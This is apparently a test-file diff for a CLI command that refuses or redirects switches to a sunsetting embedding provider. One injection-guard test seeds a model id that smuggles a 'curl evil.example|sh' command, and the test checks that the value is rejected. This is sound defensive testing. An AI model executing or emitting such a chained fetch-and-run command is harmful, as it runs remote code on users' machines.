expect(sunsetMarker(getRecipe('voyage')!)).toBeNull();
expect(sunsetMarker(getRecipe('openai')!)).toBeNull();
});
test('marker for a sunsetting provider names the date and replacement', () => {
const m = sunsetMarker(getRecipe('zeroentropyai')!);
expect(m).toContain('DEPRECATED');
expect(m).toContain('2026-09-04');
expect(m).toContain('voyage:voyage-4');
});
test('no replacement metadata → date-only marker, never "undefined"', () => {
const m = sunsetMarker({ sunset: { date: '2027-01-01', message: 'x' } } as Pick<Recipe, 'sunset'>);
expect(m).toContain('2027-01-01');
expect(m).not.toContain('undefined');
});
test('sunsetMarkerText primitive (explain-row consumer): with and without replacement', () => {
expect(sunsetMarkerText('2026-09-04', 'voyage:voyage-4')).toBe(
'⚠ DEPRECATED — hosted API ends 2026-09-04; use voyage:voyage-4',
);
expect(sunsetMarkerText('2026-09-04')).toBe('⚠ DEPRECATED — hosted API ends 2026-09-04');
expect(sunsetMarkerText('2026-09-04', null)).not.toContain('undefined');
});
});
describe('formatEnvOutput (providers env <id>)', () => {
test('sunsetting provider: DEPRECATED + migrate command, NO signup funnel', () => {
const ze = getRecipe('zeroentropyai')!;
const out = formatEnvOutput(ze, {});
expect(out).toContain('DEPRECATED');
expect(out).toContain('2026-09-04');
expect(out).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run');
// The signup funnel must be gone three weeks before shutdown:
expect(out).not.toContain('dashboard.zeroentropy.dev');
expect(out).not.toContain('Get an API key');
// Key STATUS still renders so existing users can see what's configured:
expect(out).toContain('ZEROENTROPY_API_KEY');
expect(out).toContain('✗ not set');
});
test('sunsetting provider with a key set still shows ✓ set', () => {
const ze = getRecipe('zeroentropyai')!;
const out = formatEnvOutput(ze, { ZEROENTROPY_API_KEY: 'sk-fake' });
expect(out).toContain('✓ set');
expect(out).toContain('DEPRECATED');
});
test('living provider control: setup funnel intact', () => {
const voyage = getRecipe('voyage')!;
const out = formatEnvOutput(voyage, {});
expect(out).not.toContain('DEPRECATED');
expect(out).toContain('Setup:');
});
test('sunset recipe without replacement metadata prints no "undefined"', () => {
const fake = {
id: 'fake-sunset',
name: 'Fake Sunset',
tier: 'native',
touchpoints: {},
auth_env: { required: ['FAKE_KEY'] },
sunset: { date: '2027-01-01', message: 'Fake is shutting down.' },
} as unknown as Recipe;
const out = formatEnvOutput(fake, {});
expect(out).toContain('DEPRECATED');
expect(out).not.toContain('undefined');
expect(out).not.toContain('Replacement:');
expect(out).toContain('migrate embeddings');
});
test('sunset block positively asserts message + Replacement line (ZE fixture)', () => {
const out = formatEnvOutput(getRecipe('zeroentropyai')!, {});
expect(out).toContain('ZeroEntropy is shutting down its hosted API.');
expect(out).toContain('Replacement: voyage:voyage-4 (embedding), voyage:rerank-2.5 (reranker)');
});
test('keyless recipe (ollama): Required: (none) arm renders', () => {
const ollama = getRecipe('ollama')!;
const out = formatEnvOutput(ollama, {});
expect(out).toContain('Required: (none)');
expect(out).not.toContain('DEPRECATED');
});
test('optional-env arm renders when a recipe declares optional vars', () => {
const fake = {
id: 'fake-optional',
name: 'Fake Optional',
tier: 'native',
touchpoints: {},
auth_env: { required: ['FAKE_KEY'], optional: ['FAKE_ORG'], setup_url: 'https://example.com' },
setup_hint: 'Get a key at example.com.',
} as unknown as Recipe;
const out = formatEnvOutput(fake, { FAKE_ORG: 'org-1' });
expect(out).toContain('Optional:');
expect(out).toContain('FAKE_ORG');
expect(out).toContain('✓ set');
// Living provider keeps its funnel:
expect(out).toContain('Setup: https://example.com');
expect(out).toContain('Get a key at example.com.');
});
});
+274 -128
View File
@@ -1,33 +1,38 @@
/**
* v0.46.3 `gbrain ze-switch` CLI tests (post-sunset-refusal contract).
* `gbrain ze-switch` refusal/redirect shim contract.
*
* ZeroEntropy shuts down 2026-09-04, so switching a brain ONTO it is
* disabled. Pins:
* - forward switch (bare / --non-interactive / --force) REFUSES, exit 1,
* with the migrate-embeddings escape route in the message
* - --resume ALSO refuses (resuming a half-applied forward switch would
* strand the brain on the dying provider)
* - --json refusal envelope: {status: 'refused', reason: 'provider_sunset'}
* - --dry-run still prints a read-only plan, changes nothing
* - --undo still works (it moves brains OFF the provider) snapshot seeded
* directly since the forward path can no longer create one
* - --help exits 0 without touching the engine
* ZeroEntropy's hosted API shuts down 2026-09-04. The command is a pure shim:
* every invocation refuses or redirects, nothing mutates the brain. Pins:
* - --help exits 0 with truthful copy: the canonical migration command, the
* sunset date, and NO forward-switch encouragement
* - every non-help invocation exits 1 (bare, --dry-run, --resume,
* --non-interactive, --force, flag combos)
* - --json refusal envelope: {status: 'refused', reason: 'provider_sunset',
* migrate: <canonical dry-run command>}
* - --undo with a stored snapshot REDIRECTS: prints the exact migrate
* command that returns the brain to its pre-switch provider, exit 1,
* {status: 'redirected', undo_command} in --json it does NOT act (the
* retired undo action wrote DB-plane config the file-plane-canonical
* runtime never read)
* - --undo without a snapshot (or with a corrupt one) refuses
* - retired flags are still parsed: they reach the refusal message, not a
* pre-dispatch unknown-flag error (registry row keeps them)
*
* Engine lifecycle: one PGLite engine, state reset per test; process.exit is
* intercepted via a stub.
*/
import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
import { mkdtempSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { resetPgliteState } from './helpers/reset-pglite.ts';
import { withEnv } from './helpers/with-env.ts';
import { runZeSwitch } from '../src/commands/ze-switch.ts';
import {
KEY_APPLIED,
KEY_REQUESTED,
KEY_PREVIOUS_SNAPSHOT,
ZE_TARGET_EMBEDDING_DIM,
} from '../src/core/retrieval-upgrade-planner.ts';
import { runZeSwitch, RETIRED_FLAGS, buildUndoCommands } from '../src/commands/ze-switch.ts';
import { CLI_FLAG_REGISTRY } from '../src/core/cli-flag-registry.generated.ts';
import { KEY_APPLIED, KEY_REQUESTED, KEY_PREVIOUS_SNAPSHOT } from '../src/core/retrieval-upgrade-planner.ts';
const REPO = new URL('..', import.meta.url).pathname;
let engine: PGLiteEngine;
@@ -88,27 +93,13 @@ function captureExit<T>(fn: () => Promise<T>): Promise<{ exitCode: number; stdou
});
}
async function seedPages(n: number) {
for (let i = 0; i < n; i++) {
await engine.putPage(`seed/page-${i}`, {
title: `Seed ${i}`,
compiled_truth: `Body text ${i} with enough chars to flow through cost math.`,
timeline: '',
type: 'note',
});
}
}
async function setLegacyConfig() {
await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
await engine.setConfig('embedding_dimensions', '1536');
}
/** Seed the state a pre-v0.46.3 forward switch would have left behind, so the
* --undo path (which must survive until the September removal) is testable
* without the now-refused forward path. Mirrors applyRetrievalUpgrade's
* snapshot + config writes (retrieval-upgrade-planner.ts). */
async function seedAppliedSwitch() {
/** Seed the snapshot a pre-v0.46.3 forward switch would have left behind. */
async function seedAppliedSwitch(overrides: Record<string, unknown> = {}) {
await engine.setConfig(
KEY_PREVIOUS_SNAPSHOT,
JSON.stringify({
@@ -116,137 +107,292 @@ async function seedAppliedSwitch() {
embedding_dimensions: 1536,
search_reranker_enabled: false,
search_reranker_model: null,
...overrides,
}),
);
await engine.setConfig(KEY_REQUESTED, 'true');
await engine.setConfig(KEY_APPLIED, 'true');
await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
await engine.setConfig('embedding_dimensions', String(ZE_TARGET_EMBEDDING_DIM));
await engine.setConfig('embedding_dimensions', '1280');
}
describe('--help', () => {
test('exits 0 with usage text', async () => {
const r = await captureExit(() => runZeSwitch(['--help'], engine));
describe('--help (truthful, engine-free)', () => {
test('exits 0 with the canonical migration command and the sunset date', async () => {
// engine=null mirrors the dispatcher's SELF_HELP_WITHOUT_ENGINE path:
// help must never touch the engine.
const r = await captureExit(() => runZeSwitch(['--help'], null));
expect(r.exitCode).toBe(0);
expect(r.stdout).toContain('gbrain ze-switch');
expect(r.stdout).toContain('--dry-run');
expect(r.stdout).toContain('--undo');
expect(r.stdout).toContain('RETIRED');
expect(r.stdout).toContain('2026-09-04');
expect(r.stdout).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
expect(r.stdout).toContain('skills/migrations/v0.46.3.0.md');
// The hostile-QA negative: the old encouraging sentence must never return.
expect(r.stdout).not.toContain('Switch the brain\'s embedding + reranker defaults to ZeroEntropy');
});
});
describe('--dry-run (read-only, still allowed)', () => {
test('human output prints plan, changes nothing', async () => {
await setLegacyConfig();
await seedPages(150);
describe('every non-help invocation refuses (exit 1, nothing changes)', () => {
const refusedInvocations: string[][] = [
[],
['--dry-run'],
['--resume'],
['--non-interactive'],
['--force'],
['--yes'],
['--non-interactive', '--ignore-missing-key'],
['--ignore-env-override'],
// The old gate's bypass combos (dry-run/undo used to pass): now refused
// or redirected, never silently ignored.
['--dry-run', '--resume'],
['--confirm-reembed'],
];
const r = await captureExit(() => runZeSwitch(['--dry-run'], engine));
expect(r.exitCode).toBe(0);
expect(r.stdout).toContain('Current model');
expect(r.stdout).toContain('Target model');
// Nothing changed:
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
});
});
describe('forward switch — REFUSED (provider sunset)', () => {
test('--non-interactive refuses with exit 1 and the escape route', async () => {
await setLegacyConfig();
await seedPages(150);
await withEnv({ ZEROENTROPY_API_KEY: 'sk-fake' }, async () => {
const r = await captureExit(() => runZeSwitch(['--non-interactive'], engine));
for (const args of refusedInvocations) {
test(`ze-switch ${args.join(' ') || '(bare)'} refuses`, async () => {
await setLegacyConfig();
const r = await captureExit(() => runZeSwitch(args, engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('2026-09-04');
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4');
// Nothing was applied:
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
// Nothing was applied or mutated:
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
});
});
}
test('--ignore-missing-key does not bypass the refusal', async () => {
test('--json refusal envelope carries reason provider_sunset + the migrate command', async () => {
await setLegacyConfig();
await seedPages(150);
const r = await captureExit(() =>
runZeSwitch(['--non-interactive', '--ignore-missing-key'], engine),
);
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json'], engine));
expect(r.exitCode).toBe(1);
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
expect(env.reason).toBe('provider_sunset');
expect(env.migrate).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
// The retired dry-run plan envelope is gone for good:
expect(env.status).not.toBe('planned');
expect(env.plan).toBeUndefined();
});
});
test('--force does not bypass the refusal either', async () => {
await setLegacyConfig();
const r = await captureExit(() => runZeSwitch(['--force'], engine));
describe('--undo (redirect: prints the return-path command, never acts)', () => {
test('with a snapshot: prints the exact migrate command, exit 1, config untouched', async () => {
await seedAppliedSwitch();
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
expect(r.stderr).toContain(
'gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536 --reranker off --dry-run',
);
// Guidance only — the brain still points at ZE until the user runs it:
expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
});
test('--json refusal envelope carries reason provider_sunset', async () => {
await setLegacyConfig();
const r = await captureExit(() =>
runZeSwitch(['--non-interactive', '--ignore-missing-key', '--json'], engine),
);
test('with a snapshot carrying a reranker model: folds --reranker <model> in', async () => {
await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: 'voyage:rerank-2.5' });
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('--reranker voyage:rerank-2.5');
});
test('enabled:false WINS over a lingering model id — prints --reranker off', async () => {
// The pre-switch brain had reranking disabled with a model still set (the
// documented set-model-first intermediate state). `--reranker <model>`
// would re-enable it; fidelity demands off.
await seedAppliedSwitch({ search_reranker_enabled: false, search_reranker_model: 'voyage:rerank-2.5' });
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('--reranker off');
expect(r.stderr).not.toContain('--reranker voyage:rerank-2.5');
});
test('enabled with no model: no --reranker token (migration default applies)', async () => {
await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: null });
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
expect(r.stderr).not.toContain('--reranker');
});
test('junk-typed dims in the snapshot degrade to the refusal (never printed)', async () => {
await seedAppliedSwitch({ embedding_dimensions: 'abc' as unknown as number });
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
expect(r.stdout).not.toContain('--dim abc');
});
test('shell-metachar model id in the snapshot degrades to the refusal (injection guard)', async () => {
await seedAppliedSwitch({ embedding_model: 'x; curl evil.example|sh' });
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
expect(r.stdout).not.toContain('curl evil.example');
});
test('a throwing engine.getConfig degrades to the refusal, not a crash', async () => {
const broken = { getConfig: () => Promise.reject(new Error('db exploded')) } as unknown as PGLiteEngine;
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], broken));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
expect(env.reason).toBe('provider_sunset');
});
test('--resume of a half-applied forward switch ALSO refuses', async () => {
await setLegacyConfig();
await seedPages(150);
// Simulate crash partway: requested but not applied.
await engine.setConfig(KEY_REQUESTED, 'true');
const r = await captureExit(() => runZeSwitch(['--resume'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr + r.stdout).toContain('migrate embeddings');
// Still not applied — resuming onto a dying provider is the harm the
// refusal exists to prevent.
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
});
});
describe('--undo (moves brains OFF the provider — still works)', () => {
test('without snapshot exits 1', async () => {
const r = await captureExit(() =>
runZeSwitch(['--undo', '--non-interactive', '--confirm-reembed'], engine),
);
expect(r.exitCode).toBe(1);
});
test('--non-interactive without --confirm-reembed exits 1', async () => {
const r = await captureExit(() => runZeSwitch(['--undo', '--non-interactive'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('confirm-reembed');
});
test('with snapshot + --confirm-reembed: reverses the switch', async () => {
await seedPages(150);
test('--undo --json emits the redirected envelope with live + preview commands', async () => {
await seedAppliedSwitch();
expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('redirected');
expect(env.reason).toBe('provider_sunset');
// undo_command is the LIVE command (an agent executing it must actually
// migrate, not exit-0 on a preview); undo_preview carries --dry-run.
expect(env.undo_command).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
expect(env.undo_command).not.toContain('--dry-run');
expect(env.undo_preview).toContain('--dry-run');
});
test('nested model ids (ollama tag / openrouter path) validate and redirect', async () => {
await seedAppliedSwitch({ embedding_model: 'ollama:nomic-embed-text:v1.5' });
let r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('--to ollama:nomic-embed-text:v1.5');
await seedAppliedSwitch({ embedding_model: 'openrouter:google/gemma-2-9b' });
r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.stderr).toContain('--to openrouter:google/gemma-2-9b');
});
test('string "false" reranker-enabled fails validation (would re-enable a paid reranker)', async () => {
await seedAppliedSwitch({ search_reranker_enabled: 'false' as unknown as boolean, search_reranker_model: 'voyage:rerank-2.5' });
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
expect(r.exitCode).toBe(1);
expect(JSON.parse(r.stdout).status).toBe('refused');
});
test('--json=true spelling is honored (mirrors cli.ts convention)', async () => {
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json=true'], engine));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
});
test('without a snapshot: refuses with the canonical migration', async () => {
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('No prior switch snapshot recorded');
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
});
test('with a corrupt snapshot: degrades to the refusal, no crash', async () => {
await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, '{not json');
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
expect(r.exitCode).toBe(1);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('refused');
expect(env.reason).toBe('provider_sunset');
});
test('legacy scripted undo spelling gets guidance, not action', async () => {
await seedAppliedSwitch();
const r = await captureExit(() =>
runZeSwitch(['--undo', '--non-interactive', '--confirm-reembed'], engine),
);
expect(r.exitCode).toBe(0);
// Reverted to prior model.
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
expect(await engine.getConfig('embedding_dimensions')).toBe('1536');
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
expect(r.exitCode).toBe(1);
expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large');
// The retired action would have reverted config; the shim must not:
expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
});
test('a failed --undo never points back at --undo (guidance-loop guard)', async () => {
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
expect(r.exitCode).toBe(1);
expect(r.stderr).not.toContain('gbrain ze-switch --undo');
});
});
describe('--dry-run --json (read-only plan still allowed until removal)', () => {
test('emits the planned envelope with the ZE target', async () => {
await setLegacyConfig();
await seedPages(150);
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json'], engine));
expect(r.exitCode).toBe(0);
const env = JSON.parse(r.stdout);
expect(env.status).toBe('planned');
expect(env.plan).toBeDefined();
expect(env.plan.target_dim).toBe(ZE_TARGET_EMBEDDING_DIM);
describe('buildUndoCommands (pure builder)', () => {
const snap = {
embedding_model: 'openai:text-embedding-3-large',
embedding_dimensions: 1536,
search_reranker_enabled: false,
search_reranker_model: null,
};
test('carries the explicit --brain selector into BOTH commands', () => {
// --brain is stripped pre-dispatch by the global option layer; without
// this, `ze-switch --brain team-x --undo` reads team-x's snapshot but the
// printed command re-embeds the DEFAULT brain (paid work, wrong corpus).
const { live, preview } = buildUndoCommands(snap, ' --brain team-x');
expect(live).toContain('--brain team-x');
expect(preview).toContain('--brain team-x');
expect(preview).toContain('--dry-run');
expect(live).not.toContain('--dry-run');
});
test('no brain selector → no --brain token', () => {
const { live } = buildUndoCommands(snap, '');
expect(live).not.toContain('--brain');
});
});
describe('registry + dispatch contract (the layer in-process calls bypass)', () => {
test('every retired flag is in the generated ze-switch registry row', () => {
// The refusal-instead-of-unknown-flag promise lives in the GENERATED row,
// not in the shim: a help-copy trim that dropped the quoted literals
// would regenerate the row without them and old scripts would die
// pre-dispatch. This pin makes that failure loud.
const row = CLI_FLAG_REGISTRY['ze-switch'] ?? [];
for (const f of RETIRED_FLAGS) {
expect(row).toContain(f);
}
});
test('spawned CLI: a retired flag reaches the refusal even with NO brain configured', async () => {
const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-nobrain-'));
const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
delete env.GBRAIN_DATABASE_URL;
delete env.DATABASE_URL;
const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--resume'], {
cwd: REPO,
env,
stdout: 'pipe',
stderr: 'pipe',
});
const [out, err] = await Promise.all([
new Response(proc.stdout).text(),
new Response(proc.stderr).text(),
]);
const code = await proc.exited;
const all = out + err;
expect(code).toBe(1);
expect(all).not.toContain('unknown flag');
expect(all).not.toContain('No brain configured');
expect(all).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
}, 30_000);
test('spawned CLI: --undo --json on a brainless machine still gets the envelope', async () => {
// connectEngine would print plain "No brain configured" and exit before
// the shim ran — the dispatch pre-checks config and degrades to a null
// engine so --json callers always get machine-readable truth.
const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-undo-'));
const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
delete env.GBRAIN_DATABASE_URL;
delete env.DATABASE_URL;
const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--undo', '--json'], {
cwd: REPO,
env,
stdout: 'pipe',
stderr: 'pipe',
});
const [out] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]);
const code = await proc.exited;
expect(code).toBe(1);
const envlp = JSON.parse(out.trim().split('\n').pop()!);
expect(envlp.status).toBe('refused');
expect(envlp.reason).toBe('provider_sunset');
}, 30_000);
});